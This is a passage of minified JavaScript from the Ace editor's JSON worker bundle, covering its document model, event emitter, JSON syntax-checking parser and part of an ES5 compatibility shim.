t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/json/json_parse\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r,i,s={'\"':'\"',\"\\\\\":\"\\\\\",\"/\":\"/\",b:\"\\b\",f:\"\\f\",n:\"\\n\",r:\"\\r\",t:\"\t\"},o,u=function(e){throw{name:\"SyntaxError\",message:e,at:r,text:o}},a=function(e){return e&&e!==i&&u(\"Expected '\"+e+\"' instead of '\"+i+\"'\"),i=o.charAt(r),r+=1,i},f=function(){var e,t=\"\";i===\"-\"&&(t=\"-\",a(\"-\"));while(i>=\"0\"&&i<=\"9\")t+=i,a();if(i===\".\"){t+=\".\";while(a()&&i>=\"0\"&&i<=\"9\")t+=i}if(i===\"e\"||i===\"E\"){t+=i,a();if(i===\"-\"||i===\"+\")t+=i,a();while(i>=\"0\"&&i<=\"9\")t+=i,a()}e=+t;if(!isNaN(e))return e;u(\"Bad number\")},l=function(){var e,t,n=\"\",r;if(i==='\"')while(a()){if(i==='\"')return a(),n;if(i===\"\\\\\"){a();if(i===\"u\"){r=0;for(t=0;t<4;t+=1){e=parseInt(a(),16);if(!isFinite(e))break;r=r*16+e}n+=String.fromCharCode(r)}else{if(typeof s[i]!=\"string\")break;n+=s[i]}}else n+=i}u(\"Bad string\")},c=function(){while(i&&i<=\" \")a()},h=function(){switch(i){case\"t\":return a(\"t\"),a(\"r\"),a(\"u\"),a(\"e\"),!0;case\"f\":return a(\"f\"),a(\"a\"),a(\"l\"),a(\"s\"),a(\"e\"),!1;case\"n\":return a(\"n\"),a(\"u\"),a(\"l\"),a(\"l\"),null}u(\"Unexpected '\"+i+\"'\")},p,d=function(){var e=[];if(i===\"[\"){a(\"[\"),c();if(i===\"]\")return a(\"]\"),e;while(i){e.push(p()),c();if(i===\"]\")return a(\"]\"),e;a(\",\"),c()}}u(\"Bad array\")},v=function(){var e,t={};if(i===\"{\"){a(\"{\"),c();if(i===\"}\")return a(\"}\"),t;while(i){e=l(),c(),a(\":\"),Object.hasOwnProperty.call(t,e)&&u('Duplicate key \"'+e+'\"'),t[e]=p(),c();if(i===\"}\")return a(\"}\"),t;a(\",\"),c()}}u(\"Bad object\")};return p=function(){c();switch(i){case\"{\":return v();case\"[\":return d();case'\"':return l();case\"-\":return f();default:return i>=\"0\"&&i<=\"9\"?f():h()}},function(e,t){var n;return o=e,r=0,i=\" \",n=p(),c(),i&&u(\"Syntax error\"),typeof t==\"function\"?function s(e,n){var r,i,o=e[n];if(o&&typeof o==\"object\")for(r in o)Object.hasOwnProperty.call(o,r)&&(i=s(o,r),i!==undefined?o[r]=i:delete o[r]);return t.call(e,n,o)}({\"\":n},\"\"):n}}),ace.define(\"ace/mode/json_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/json/json_parse\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./json/json_parse\"),o=t.JsonWorker=function(e){i.call(this,e),this.setTimeout(200)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{e&&s(e)}catch(n){var r=this.doc.indexToPosition(n.at-1);t.push({row:r.row,column:r.column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return 